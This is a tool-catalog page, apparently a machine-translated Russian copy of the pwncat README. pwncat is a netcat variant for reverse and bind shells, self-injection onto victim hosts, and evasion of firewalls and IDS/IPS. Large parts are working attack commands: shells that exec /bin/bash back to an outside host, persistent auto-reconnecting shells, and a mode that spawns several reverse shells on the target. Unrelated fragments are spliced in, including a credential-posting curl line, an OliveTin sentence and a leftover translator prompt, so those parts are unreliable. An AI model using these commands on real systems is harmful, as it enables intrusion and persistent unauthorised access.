Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
pwncat — pwncat - netcat на стероидах с обходом брандмауэров, IDS/IPS, оболочками bind и reverse, самовнедряющейся оболочкой и магией перенаправления портов - и полностью скриптуемый на Python (PSE) | Kitploit
Инструменты/GitHubGitHub/cytopia/pwncat
Генерация полезной нагрузкиСканирование портовОбход IDS/IPSЛатеральное перемещениеСкриптинг и автоматизацияПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеУтилиты и фреймворкиRed Teaming
GitHubcytopia/pwncat
2.0k2144 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

pwncat

pwncat - netcat на стероидах с обходом брандмауэров, IDS/IPS, оболочками bind и reverse, самовнедряющейся оболочкой и магией перенаправления портов - и полностью скриптуемый на Python (PSE)

РепозиторийСайт

Docs | Install | TL;DR | Features | Behaviour | Usage | Examples | FAQ | Contributing | Disclaimer | License


pwncat banner

pwncat

Documentation Status PyPI PyPI - Status PyPI - Python Version PyPI - Format PyPI - Implementation PyPI - License

Build Status Build Status

 

Netcat на стероидах с обходом Firewall, IDS/IPS, bind и reverse shell, самовнедряющейся оболочкой и магией перенаправления портов — и полностью скриптуем на Python (PSE). - docs.pwncat.org

 

[1] Покрытие типов mypy (полностью типизировано: 94.00%)
[2] Неудачные сборки не указывают на неработоспособность. Интеграционные тесты выполняются часами и время от времени прерываются по разным причинам (тайм-ауты сети, неизвестные отмены GitHub Actions и т.д.): #735, #841

Мотивация

Случайно нажали Ctrl+c на своей reverse shell, и она исчезла навсегда? Вечно ждали, пока клиент подключится обратно, потому что Firewall не выпускал его? Теряли соединение, потому что IPS закрыла подозрительные порты? Когда-нибудь требовалось быстрое перенаправление портов?

Этот вас прикроет.

Кроме того, текущие возможности nc, ncat или socat просто не удовлетворяли мои потребности, и я хотел получить единый инструмент, который работает как на старых, так и на новых машинах (отсюда совместимость с Python 2+3). Самое главное — я хотел иметь его на языке, который понимаю, и добавлять свои собственные функции. (Ожидайте: двоичные релизы для Linux, MacOS и Windows появятся в ближайшее время).

📕 Документация

🎉 Установка

Текущая версия: 0.1.2

Универсальная установка

Pip
pip install pwncat

Установка под конкретные ОС

[1]: Репозиторий EPEL
[2]: Нестабильная версия

☕ TL;DR

Это лишь краткий обзор для быстрого старта. Более продвинутые техники смотрите в 💻 Использование или 💡 Примеры.

Смотрите в действии

неразрушимые reverse shell — как запустить

Развертывание на цели```bash

Copy base64 data to clipboard from where you have internet access

curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64

Paste it on the target machine

echo "" | base64 -d > pwncat chmod +x pwncat

root@kitploit:~
### Внедрение в цель```bash
# [1] If you found a vulnerability on the target to start a very simple reverse shell,
# such as via bash, php, perl, python, nc or similar, you can instruct your local
# pwncat listener to use this connection to deploy itself on the target automatically
# and start an additional unbreakable reverse shell back to you.
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

[1] Подробнее о самовнедрении

Вызов оболочек```bash

Bind shell (accepts new clients after disconnect)

pwncat -l -e '/bin/bash' 8080 -k

root@kitploit:~
```bash
# Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
root@kitploit:~
# Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1

Сканирование портов```bash

[TCP] IPv4 + IPv6

pwncat -z 10.0.0.1 80,443,8080 pwncat -z 10.0.0.1 1-65535 pwncat -z 10.0.0.1 1+1023

[UDP] IPv4 + IPv6

pwncat -z 10.0.0.1 80,443,8080 -u pwncat -z 10.0.0.1 1-65535 -u pwncat -z 10.0.0.1 1+1023 -u

Use only IPv6 or IPv4

pwncat -z 10.0.0.1 1-65535 -4 pwncat -z 10.0.0.1 1-65535 -6 -u

Add version detection

pwncat -z 10.0.0.1 1-65535 --banner

root@kitploit:~
### Локальная пересылка портов `-L` (прослушивающий прокси)```bash
# Make remote MySQL server (remote port 3306) available on current machine
# on every interface on port 5000
pwncat -L 0.0.0.0:5000 everythingcli.org 3306
root@kitploit:~
# Same, but convert traffic on your end to UDP
pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u

Удаленный проброс порта -R (двойной клиентский прокси)```bash

Connect to Remote MySQL server (remote port 3306) and then connect to another

pwncat/netcat server on 10.0.0.1:4444 and bridge traffic

pwncat -R 10.0.0.1:4444 everythingcli.org 3306

root@kitploit:~
```bash
# Same, but convert traffic on your end to UDP
pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u

SSH-туннелирование для удовольствия и выгоды 🔗
pwncat пример: магия перенаправления портов

⭐ Возможности

Краткий обзор

pwncat имеет множество функций, ниже приведён лишь список выдающихся характеристик.

Матрица сравнения функций

* Функция находится в разработке.

👮 Поведение

Как и в оригинальной реализации netcat, при использовании TCP pwncat (в режиме клиента и прослушивания) автоматически завершит работу, если сетевое соединение будет разорвано, правильно или неправильно. Если удалённый узел не завершает соединение, или в режиме UDP, netcat и pwncat останутся открытыми. Поведение немного отличается при закрытии STDIN.

  1. netcat: Если STDIN закрыт, но соединение остаётся открытым, netcat останется открытым
  2. pwncat: Если STDIN закрыт, но соединение остаётся открытым, pwncat закроется

Вы можете эмулировать поведение netcat с помощью аргумента командной строки --no-shutdown.

Взгляните на следующие команды, чтобы лучше понять это поведение:```bash

[Valid HTTP request] Quits, web server keeps connection intact, but STDIN is EOF

printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80

[Valid HTTP request] Does not quit, web server keeps connection intact, but STDIN is EOF

printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown

root@kitploit:~
Пожалуйста, предоставьте Markdown-контент для перевода.```bash
# [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF
printf "GET / \n\n" | pwncat www.google.com 80
root@kitploit:~
curl -X POST http://192.168.1.12:4122/JPG -d "ip=\${{register_ip}}\&pass=\${{register_credentials}}\&roomname=\${{register_roomname}}\&maxmem=\${{register_maxmem}}"

Отлично! Теперь, если мы вернемся в OliveTin, мы увидим наше новое действие.```bash

[TCP]

Both instances will quit after successful file transfer.

pwncat -l 4444 > output.txt pwncat localhost 4444 < input.txt

[TCP]

Neither of both, client and server will quit after successful transfer

and they will be stuck, waiting for more input or output.

When exiting one (e.g.: via Ctrl+c), the other one will quit as well.

pwncat -l 4444 --no-shutdown > output.txt pwncat localhost 4444 --no-shutdown < input.txt

root@kitploit:~
Имейте в виду, что отправлять файлы через UDP ненадежно.```bash
# [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP)
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode.
pwncat -u -l 4444 > output.txt
pwncat -u localhost 4444 < input.txt

Существует множество способов изменить это поведение по умолчанию. Обратитесь к разделу использование для более продвинутых настроек.

💻 Использование

Клавиши

[1] Работает только при использовании --no-shutdown и --keep. При этом завершит свой сокет для отправки, сигнализируя удаленному концу и EOF на его сокете.

Аргументы командной строки

Введите pwncat -h или нажмите ниже, чтобы увидеть все доступные опции.

Нажмите здесь, чтобы развернуть использование``` usage: pwncat [options] hostname port pwncat [options] -l [hostname] port pwncat [options] -z hostname port pwncat [options] -L [addr:]port hostname port pwncat [options] -R addr:port hostname port pwncat -V, --version pwncat -h, --help

Enhanced and compatible Netcat implementation written in Python (2 and 3) with connect, zero-i/o, listen and forward modes and techniques to detect and evade firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as a client to connect to a remote endpoint. If the connection to the remote endoint is lost, pwncat will quit. See options for how to automatically re- connect.

positional arguments: hostname Address to listen, forward, scan or connect to.

port [All modes] Single port to listen, forward or connect to. [Zero-I/O mode] Specify multiple ports to scan: Via list: 4444,4445,4446 Via range: 4444-4446 Via incr: 4444+2

mode arguments: -l, --listen [Listen mode]: Start a server and listen for incoming connections. If using TCP and a connected client disconnects or the connection is interrupted otherwise, the server will quit. See -k/--keep-open to change this behaviour.

-z, --zero [Zero-I/0 mode]: Connect to a remote endpoint and report status only. Used for port scanning. See --banner for version detection.

-L [addr:]port, --local [addr:]port [Local forward mode]: This mode will start a server and a client internally. The internal server will listen locally on specified addr/port (given by --local [addr:]port). The server will then forward traffic to the internal client which connects to another server specified by hostname/port given via positional arguments. (I.e.: proxies a remote service to a local address)

-R addr:port, --remote addr:port [Remote forward mode]: This mode will start two clients internally. One is connecting to the target and one is connecting to another pwncat/netcat server you have started some- where. Once connected, it will then proxy traffic between you and the target. This mode should be applied on machines that block incoming traffic and only allow outbound. The connection to your listening server is given by -R/--remote addr:port and the connection to the target machine via the positional arguments.

optional arguments: -e cmd, --exec cmd Execute shell command. Only for connect or listen mode.

-C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing line endings for input and outout accordingly. Specify 'no' to completely remove any line feeds. By default it will not replace anything and takes what is entered (usually CRLF on Windows, LF on Linux and some times CR on MacOS).

-n, --nodns Do not resolve DNS.

--send-on-eof Buffer data received on stdin until EOF and send everything in one chunk.

Скачать инструмент
Стиль кода Интеграционные тесты [2]
СтилизаторСтатус
Black
mypy [1]
pycodestyle
pydocstyle
pylint
PythonОСLinuxMacOSWindows
2.7
3.5
3.6
3.7
3.8
pypy2
pypy3
Документация pwncatСсылка
Официальная документацияhttps://docs.pwncat.org
Официальный сайтhttps://pwncat.org
API документацияhttps://pwncat.org/pwncat.api.html
Движок сценариев PwncatPSE
MacOSArch LinuxBlackArchCentOS[1]
mac_imgarch_imgbarch_imgcentos_img
brew install pwncatyay -S pwncatpacman -S pwncatyum install pwncat
FedoraKali LinuxNixOS[2]Oracle Linux[1]
fedora_imgkali_imgnix_imgoracle_img
dnf install pwncatapt install pwncatnixos.pwncatyum install pwncat
PentooParrot OS
pentoo_imgparrot_img
net-analyzer/pwncatapt install pwncat


неразрушимые reverse shell — несколько оболочек

ФункцияОписание
PSEПолностью скриптуемый с помощью Pwncat Scripting Engine, что позволяет реализовывать всевозможные интересные функции при отправке и получении
сканирование портовСканирование портов TCP и UDP с базовой поддержкой определения версий
Самоинжектируемая обратная оболочкаСамоинжектируемый режим для развёртывания и автоматического создания неразрывной обратной оболочки обратно к вам
Привязная оболочкаСоздание привязных оболочек
Обратная оболочкаСоздание обратных оболочек
Перенаправление портовЛокальное и удалённое перенаправление портов (прокси-сервер/клиент)
Ctrl+cОбратная оболочка может переподключиться, если вы случайно нажали Ctrl+c
Обнаружение исходящих портовСканирование и отчёт об открытых исходящих портах на цели (перебор портов)
Обход брандмауэраОбход исходящих брандмауэров с помощью циклического перебора исходящих портов (перебор портов)
Обход IPSОбход систем предотвращения вторжений за счёт возможности циклического перебора исходящих портов при прерываниях соединения (перебор портов)
UDP обратная оболочкаПопробуйте это с традиционным netcat
Состоятельная UDPСостоятельная фаза установки соединения для UDP клиентского режима
TCP / UDPПолная поддержка TCP и UDP
IPv4 / IPv6Поддержка IPv4 и IPv6 в двухстековом или одностеховом режиме
Python 2+3Работает с Python 2, Python 3, pypy2 и pypy3
КроссплатформенностьРаботает на Linux, macOS и Windows при наличии Python
СовместимостьИспользуйте netcat, ncat или socat в качестве клиента или сервера вместе с pwncat
ПортативностьОдин файл, использующий только стандартные пакеты – не требуется внешних зависимостей.
pwncatnetcatncatsocat
Скриптовый движок✔ Python❌✔ Lua❌
IP ToS✔✔❌✔
IPv4✔✔✔✔
IPv6✔✔✔✔
Сокеты домена Unix❌✔✔✔
Linux vsock❌❌✔❌
Привязка к исходному сокету✔✔✔✔
TCP✔✔✔✔
UDP✔✔✔✔
SCTP❌❌✔✔
SSL❌❌✔✔
HTTP✔❌❌❌
HTTPS*❌❌❌
Согласование Telnet❌✔✔❌
Поддержка прокси❌✔✔✔
Локальное перенаправление портов✔❌❌✔
Удалённое перенаправление портов✔❌❌❌
Сканирование входящих портов✔✔✔❌
Сканирование исходящих портов✔❌❌❌
Определение версий✔❌❌❌
Чат✔✔✔✔
Выполнение команд✔✔✔✔
Шестнадцатеричный дамп*✔✔✔
Брокер❌❌✔❌
Одновременные соединения❌❌✔✔
Разрешить/запретить❌❌✔✔
Повторное принятие✔✔✔✔
Самоинжекция✔❌❌❌
UDP обратная оболочка✔❌❌❌
Перезапускаемый клиент✔❌❌❌
Перебор портов✔❌❌❌
Аварийное завершение✔❌❌❌
ПоведениеAltAltAlt
Выход (SIGINT)Ctrl+cCtrl+cCtrl+c
Выход (SIGQUIT)Ctrl+\??
Выход (SIGQUIT)Ctrl+4??
Выход из STDIN[1]Ctrl+dCtrl+dCtrl+z и Ctrl+Enter
Отправить (NL)Ctrl+j??
Отправить (EOL)Ctrl+m??
Отправить (EOL)EnterEnterEnter

--no-shutdown Do not shutdown into half-duplex mode. If this option is passed, pwncat won't invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward-compatibility with OpenBSD netcat, which exhibits this behavior.

-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times.

--info type Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (-vv).

-c str, --color str Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto)

--safe-word str All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The --keep-open (server) or --reconn (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input.

protocol arguments: -4 Only Use IPv4 (default: IPv4 and IPv6 dualstack).

-6 Only Use IPv6 (default: IPv4 and IPv6 dualstack).

-u, --udp Use UDP for the connection instead of TCP.

-T str, --tos str Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', 'reliability', 'throughput' or 'lowdelay'.

--http Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS.

--https Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS.

-H [str [str ...]], --header [str [str ...]] Add HTTP headers to your request when using --http(s).

command & control arguments: --self-inject cmd:host:port[s] Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '--self-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: --self-inject /bin/sh:10.0.0.1:4444-4446 Via incr: --self-inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet.

pwncat scripting engine: --script-send file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

--script-recv file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

zero-i/o mode arguments: --banner Zero-I/O (TCP and UDP): Try banner grabbing during port scan.

listen mode arguments: -k, --keep-open Listen mode (TCP only): Re-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone)

--rebind [x] Listen mode (TCP and UDP): If the server is unable to bind, it will re-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See --rebind-robin for an interesting use-case. (default: fail after first unsuccessful try).

--rebind-wait s Listen mode (TCP and UDP): Wait x seconds between re-initialization. (default: 1)

--rebind-robin port Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and --rebind is specified, it it will shuffle ports in round-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --rebind to at least the number of ports to probe +1 This option requires --rebind to be specified.

connect mode arguments: --source-addr addr Specify source bind IP address for connect mode.

--source-port port Specify source bind port for connect mode.

--reconn [x] Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using --udp-sconnect with this option to make UDP aware of a successful connection.

--reconn-wait s Connect mode (TCP and UDP): Wait x seconds between re-connects. (default: 1)

--reconn-robin port Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and --reconn is specified, the client will shuffle ports in round-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero-I/O mode to figure out what outbound ports are allowed.

--ping-init Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no hand- shake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The --ping-init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-intvl s Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;-) See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-word str Connect mode (TCP and UDP): Change the default character '\0' to use for upd ping. Single character or strings are supported.

--ping-robin port Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Use --ping-intvl 0 to be faster.

--udp-sconnect Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\0', you can change this with --udp-sconnect-word.

--udp-sconnect-word [str] Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\0'.

misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit

root@kitploit:~
</details>


## :bulb: Примеры

### Превратите вашу оболочку в интерактивную
<!--
<details>
  <summary>Нажмите, чтобы развернуть</summary>
-->

> Это универсальный совет, который работает не только с `pwncat`, но и со всеми другими распространенными инструментами.

При подключении через reverse или bind shell вы заметите, что интерактивные команды не работают, а нажатие <kbd>Ctrl</kbd>+<kbd>c</kbd> завершит ваш сеанс. Чтобы это исправить, необходимо привязать оболочку к TTY (сделать ее интерактивной). Вот как:```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl+z```bash

get your current terminal size (rows and columns)

stty size

for bash/sh (enter raw mode and disable echo'ing)

stty raw -echo fg

for zsh (enter raw mode and disable echo'ing)

stty raw -echo; fg

reset export SHELL=bash export TERM=xterm stty rows columns # and values found above by 'stty size'

root@kitploit:~
> <sup>[1] [Шпаргалка по обратным оболочкам](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#spawn-tty-shell)</sup>


### UDP обратная оболочка
Без ухищрений UDP обратная оболочка практически невозможна. UDP — это протокол без сохранения состояния по сравнению с TCP, и в нём нет метода `connect()`, как в TCP.
В режиме TCP сервер узнаёт IP-адрес и порт клиента после того, как клиент вызывает `connects()`.
В режиме UDP, поскольку `connect()` отсутствует, клиент просто отправляет данные на адрес/порт без предварительного установления соединения.
Поэтому в режиме UDP сервер не сможет узнать IP-адрес и порт клиента и, следовательно, не сможет сначала отправить ему данные.
Единственный способ сделать это возможным — заставить клиента сначала отправить на сервер какие-то данные, чтобы сервер увидел, с какого IP/порта эти данные пришли.

`pwncat` эмулирует TCP `connect()`, заставляя клиента отправлять нулевой байт на сервер один раз или периодически с помощью параметров `--ping-intvl` или `--ping-init`.```bash
# The client
# --exec            # Provide this executable
# --udp             # Use UDP mode
# --ping-init       # Send an initial null byte to the server
pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444

Неразрушимая обратная TCP-оболочка

Почему неразрушимая? Потому что она будет постоянно возвращаться к вам, даже если вы временно остановите ваш прослушивающий сервер. Другими словами, клиент будет продолжать попытки подключения к указанному серверу до тех пор, пока не добьется успеха. Если соединение прервётся, он будет продолжать попытки снова.```bash

The client

--exec # Provide this executable

--nodns # Keep the noise down and don't resolve hostnames

-reconn # Automatically reconnect back to you indefinitely

--reconn-wait # If connection is lost, connect back to you every 2 seconds

pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444

root@kitploit:~
### Неразрушимая UDP обратная оболочка
Почему неразрушимая? Потому что она будет постоянно возвращаться к вам, даже если вы временно убьёте свой сервер прослушивания.
Другими словами, клиент будет постоянно отправлять нулевые байты на сервер, чтобы постоянно заявлять о себе.```bash
# The client
# --exec            # Provide this executable
# --nodns           # Keep the noise down and don't resolve hostnames
# --udp             # Use UDP mode
# --ping-intvl      # Ping the server every 2 seconds

pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444

Самоинжектирующийся обратный шелл

Представьте, что вы можете создать очень простой и нестабильный обратный шелл с целевой машины на вашу, например, веб-шелл через PHP-скрипт или подобное. Зная, что это соединение не продержится долго или может оборваться из-за нестабильного сетевого подключения, вы можете использовать pwncat, чтобы подключиться к этому соединению и автоматически развернуть себя на целевой системе без возможности разрыва — полностью автоматизированно.

View on Youtube

Всё, что вам нужно сделать, — использовать pwncat в качестве локального слушателя и запустить его с ключом --self-inject. Как только клиент (например, обратный веб-шелл) подключается к нему, происходит следующее:

  1. Перечисление доступности и версий Python на целевой системе
  2. Сброс себя в кодировке base64 на целевую систему
  3. Использование Python целевой системы для декодирования.
  4. Использование Python целевой системы для запуска себя в качестве неразрывного обратного шелла обратно к вам

После этого вы можете продолжать использовать текущее соединение или просто отказаться от него и запустить новый слушатель (да, вам не нужно запускать слушатель перед запуском обратного шелла), чтобы новый клиент pwncat подключился к вам. Новый слушатель также не обязательно должен быть pwncat, это может быть netcat или ncat.

Ключ --self-inject:```bash pwncat -l 4444 --self-inject ::

root@kitploit:~
* `<cmd>`: Это команда для запуска на цели (как `-e`/`--exec`, поэтому она должна быть `cmd.exe` или `/bin/bash`)
* `<host>`: Это для вашей локальной машины, IP-адрес, на который обратный шелл должен подключиться
* `<port>`: Это для вашей локальной машины, порт, на который обратный шелл должен подключиться

Таким образом, представьте, что ваша машина Kali имеет IP 10.0.0.1. Вы указываете вашему веб-шеллу, который вы внедряете на Linux-сервер, подключиться к вам на порт `4444`:```bash
# Start this locally, before starting the reverse webshell
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445
  • Учебное пособие: Создание простого сниффера пакетов``` [PWNCAT CnC] Probing for: /bin/python [PWNCAT CnC] Probing for: /bin/python2 [PWNCAT CnC] Probing for: /bin/python2.7 [PWNCAT CnC] Probing for: /bin/python3 [PWNCAT CnC] Probing for: /bin/python3.5 [PWNCAT CnC] Probing for: /bin/python3.6 [PWNCAT CnC] Probing for: /bin/python3.7 [PWNCAT CnC] Probing for: /bin/python3.8 [PWNCAT CnC] Probing for: /usr/bin/python [PWNCAT CnC] Potential path: /usr/bin/python [PWNCAT CnC] Found valid Python2 version: 2.7.16 [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422) [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
root@kitploit:~
Всё готово. Теперь вы можете запустить другой слушатель локально на порту `4445` (опять же, он будет бесконечно подключаться обратно к вам, так что необязательно запускать слушатель первым).```bash
# either netcat
nc -lp 4445
# or ncat
ncat -l 4445
# or pwncat
pwncat -l 4445

Неограниченные самоинжектирующиеся обратные оболочки

Вместо того чтобы запрашивать одну самоинжектирующуюся обратную оболочку, вы можете указать pwncat породить столько неразрывных обратных оболочек, подключающихся обратно к вам, сколько пожелаете.

Смотреть на YouTube

Аргумент --self-inject позволяет вам не только определить один порт, но также

  1. Список портов, разделенных запятыми: 4445,4446,4447,4448
  2. Определение диапазона: 4446-4448
  3. Инкремент: 4445+3

Чтобы породить 4 обратные оболочки, вы запускаете свой слушатель так же, как описано выше, но вместо одного порта вы определяете несколько:```bash

Comma separated

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

Range

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

Increment

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3

root@kitploit:~
Каждая из трёх приведённых выше команд приведёт к одному и тому же поведению: порождению 4 обратных шеллов внутри цели. После подключения клиента вывод будет выглядеть примерно так:```
[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 &

Логирование

Примечание: Убедитесь, что у вас есть обратный шелл, который постоянно возвращается к вам. Таким образом вы всегда сможете изменить настройки логирования без потери шелла.

Уровень логирования и перенаправление

Если хотите, вы можете запустить слушатель в режиме полного логирования TRACE, чтобы разобраться, что происходит, или просто для устранения неполадок. Сообщения лога окрашены в зависимости от их серьезности. Цвета автоматически отключаются, если stderr не является pty, например, при перенаправлении в файл. Вы также можете вручную отключить цветное логирование для вывода на терминал с помощью параметра --color.```bash pwncat -vvvv -l 4444

root@kitploit:~
Вы увидите (среди всей этой белиберды) сообщение TRACE:```bash
2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

Как только вы увидите это на слушателе, вы можете отправлять команды клиенту. Все отладочные сообщения также не нужны, поэтому вы можете безопасно завершить свой сервер с помощью Ctrl+c и запустить его снова в тихом режиме:```bash pwncat -l 4444

root@kitploit:~
Теперь подождите максимум несколько секунд, в зависимости от интервала, с которым клиент возвращается к вам, и вуаля — ваша сессия снова не содержит логов.

